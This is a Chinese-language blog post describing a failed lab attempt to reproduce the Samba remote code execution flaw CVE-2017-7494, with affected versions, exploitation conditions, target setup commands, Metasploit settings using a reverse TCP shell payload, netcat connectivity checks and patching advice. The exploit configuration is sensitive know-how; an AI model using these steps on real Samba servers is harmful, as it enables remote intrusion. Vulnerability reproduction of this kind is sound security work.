CVE-2017-7494漏洞復現的坑

來自博客:Samba遠程代碼執行漏洞(CVE-2017-7494)

  原本想復現一下CVE-2017-7494漏洞再分享出來的,沒曾想過程一波三折,結果還鎩羽而歸。誒,還是在此記錄一下失敗的復現過程吧,為了紀念一下折騰不止的歲月,還有原諒我沒有最終復現成功-!-。

  關於此漏洞的介紹不用多說,可以移步Samba遠程代碼執行漏洞|Freebuf。Samba遠程代碼執行漏洞被業內稱為linux版的永恆之藍,危害可想而知。當然相比windows來說,linux下的445埠是默認關閉的,而有些版本的linux並沒有自帶samba軟體,算是萬幸。

漏洞影響版本

Samba 3.5.0到4.6.4/4.5.10/4.4.14的中間版本。

漏洞利用條件

  • 伺服器打開了文件/印表機共享埠445
  • 共享文件擁有訪問以及寫入許可權
  • 攻擊者知道共享的目錄路徑

  目前測試發現匿名登錄與需要賬號密碼登錄的情況都可以成功執行此漏洞,當然設置了賬號密碼的,在攻擊時需要提供正確的賬號密碼。

漏洞利用原理

攻擊者可通過上傳惡意的鏈接庫文件(.so),使服務端程序載入並執行它,從而實現遠程代碼執行。

EXP

MSF已經更新了此漏洞的利用模塊,鏈接:is_known_pipename.rb

另外國外大牛也用python寫了個利用腳本(exp):42060.py

復現的坑

  想要復現此漏洞,首先得搭建一個靶機(不建議找公網的機子測試)。於是我找了台ubuntu伺服器(14.04.1-Ubuntu),此版本默認安裝了samba(Version 4.3.11-Ubuntu)省去了一些安裝的麻煩,那麼接下來就是要配置samba。

首先創建一個目錄用於共享

mkdir /home/sharen

然後設置許可權(若不設置許可權,用戶將會沒有寫許可權)

chmod 777 /home/sharen

最後修改samba配置文件:

vim /etc/samba/smb.confn

在文件最後添加一下內容:

[myshare]ncomment=smb share testnbrowseable=yes #可讀nwriteable=yes #可寫npath=/home/share #設置目錄(上一步創建的共享目錄)npublic = yes #允許匿名登錄n

開啟samba服務

/etc/init.d/smbd start #開啟n/etc/init.d/smbd stop #關閉n/etc/init.d/smbd restart #重啟n

開啟後,嘗試遠程訪問一下:ip,經過測試我發現可以匿名登錄,登錄以後也有寫許可權。

靶機搭建完畢,接下來就開啟MSF神器吧。

MAC10.11版本不支持最新版MSF

  首先我在MAC上更新了msf,直接敲命令:msfupdate,沒過多久更新成功了,於是我準備啟動msf,輸入命令:msfconsole,結果報錯了(一臉懵逼,早知道就載入exploit文件就行了)。

dyld: lazy symbol binding failed: Symbol not found: _clock_gettimen Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)n Expected in: /usr/lib/libSystem.B.dylibnndyld: Symbol not found: _clock_gettimen Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)n Expected in: /usr/lib/libSystem.B.dylibnn/opt/metasploit-framework/bin/msfdb: line 23: 4721 Trace/BPT trap: 5 ruby "$INSTALL_DIR/embedded/framework/msfdb" "$@"ndyld: lazy symbol binding failed: Symbol not found: _clock_gettimen Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)n Expected in: /usr/lib/libSystem.B.dylibnndyld: Symbol not found: _clock_gettimen Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)n Expected in: /usr/lib/libSystem.B.dylibnn/opt/metasploit-framework/bin/msfconsole: line 123: 4725 Trace/BPT trap: 5 $BIN/ruby $FRAMEWORK/$cmd $db_args "$@"n

  本人第一次碰見這個報錯,於是只能上google查找解決方案,翻查一會在Github的Issues中發現了這個錯誤,錯誤原因是mac10.11版本不支持最新版的msf,需要將mac升級到10.12然後升級xcode。此時我的心情是崩潰的,首先我的是黑蘋果,好不容易安裝10.11成功了,想要突破到10.12談何容易,其次msf已經被我升級了,怎麼回退啊請問!

註:其實不需要利用msfupdate更新msf,即使更新了也要自己載入exploit模塊,因此只需要將is_known_pipename.rb文件放到msf的modules目錄下即可。(當時sb了)

Payload無法載入?

  舒緩心情後,繼續折騰,那麼既然mac上的msf不能用了,我就只能開一個虛擬機,好在之前虛擬機裡面安裝過kali,因此這回直接可以用了。打開kali後,我原本也想用msfupdate更新msf到最新版,但想想其實主要就是下載那個sabma漏洞的利用腳本。為了儉省時間,我直接去github上下載了is_known_pipename.rb,然後扔進了/usr/share/metasploit-framework/modules/exploits/linux/samba/目錄下。然而當我運行msfconsole,載入is_known_pipename模塊後,發現沒有payload模塊可以選擇,因此攻擊不能成功。

Session回連失敗

  事實證明當時是我打錯了,應該不存在payload無法載入的問題。等我成功載入了此模塊以及payload,也設置好參數了,可悲劇的事情又發生了,exploit實施攻擊後,向靶機寫入文件成功了,但是沒有回鏈session。

MSF參數設置:

set rhost 172.16.1.2 nset smb_share_base /home/nmask/share nset payload generic/shell_reverse_tcpnexploitn

Exploit後回顯的部分信息:

Exploit completed,but no session was createdn

查看共享文件夾,已經成功生成.so文件:

thief.one/upload_image/

靶機網路問題or匿名登錄問題?

  起初我以為是匿名登錄的原因,於是設置了samba賬號密碼,並且在msf上也設置了SMBPass與SMBUser。

靶機上配置

修改配置文件

[myshare]ncomment=smb share testnbrowseable=yes #可讀nwriteable=yes #可寫npath=/home/share #設置目錄(上一步創建的共享目錄)npublic = no #不允許匿名登錄n

在 [global] 設置選項中添加配置

security = usern

命令行添加用戶

useradd smbusernsmbpasswd -a smbusern/etc/init.d/restartn

注意以上添加的用戶一定要是linux上存在的用戶。

kali上配置

set SMBUser usernamenset SMBPass passwordn

然而最終session仍然沒有成功創建,然後我懷疑是靶機無法直接連接虛擬機監聽的埠,於是用nc進行了測試。

虛擬機(kali)

nc -vv -l -p 4444n

靶機(Ubuntu 64位)

nc 192.168.1.2 4444n

最後的結果證明,靶機可以連通虛擬機的4444埠。

kali版本問題?

  最後在逛tools時發現有表哥說此exp只適合64位的kali,雖然我不明白這跟kali的版本有毛關係,但事實是我的kali是32位的並且我沒有復現成功。為了驗證這一說法,我特意安裝了64位的kali,然後將is_konwn_pipename.rb文件放到msf模塊目錄下,然而最終的結果還是沒有成功,因此這個說法是不成立的。如果真的是對系統版本有要求,那也應該對靶機的環境有要求。

也許搭了個假的靶機

  那麼我想最終原因就肯定出在我搭建的靶機上了,回顧過程,並沒有發現有什麼問題,而且許可權也都是有的,畢竟共享文件夾下已經生成了.so文件。好吧,我暫時無能為力了,為了復現一個漏洞,我容易嗎我!?

修復方案

  • 打補丁
  • 升級到Samba 4.6.4/4.5.10/4.4.14任意版本
  • 在smb.conf的[global]板塊中添加參數:nt pipe support = no 然後重啟smbd服務。

復現成功的案例

震驚!SMB驚現遠程代碼執行漏洞,有賬號認證的也能被攻擊!(CVE-2017-7494)附復現過程(復現了需要賬號密碼的情況)

漏洞預警|Samba遠程代碼執行漏洞,影響7年前版本 - FreeBuf.COM | 關注黑客與極客

轉載請說明出處:Samba遠程代碼執行漏洞(CVE-2017-7494)|nMask』Blog

本文地址:Samba遠程代碼執行漏洞(CVE-2017-7494)

推薦閱讀:

PEGASUS iOS內核漏洞分析(第一部分)
2萬美金等你拿!任天堂發布3DS漏洞懸賞任務
是什麼原因讓所有的Windows系統淪陷了?
MS08-067漏洞原理分析及還原

TAG:系统漏洞 | 信息安全 | 渗透测试 |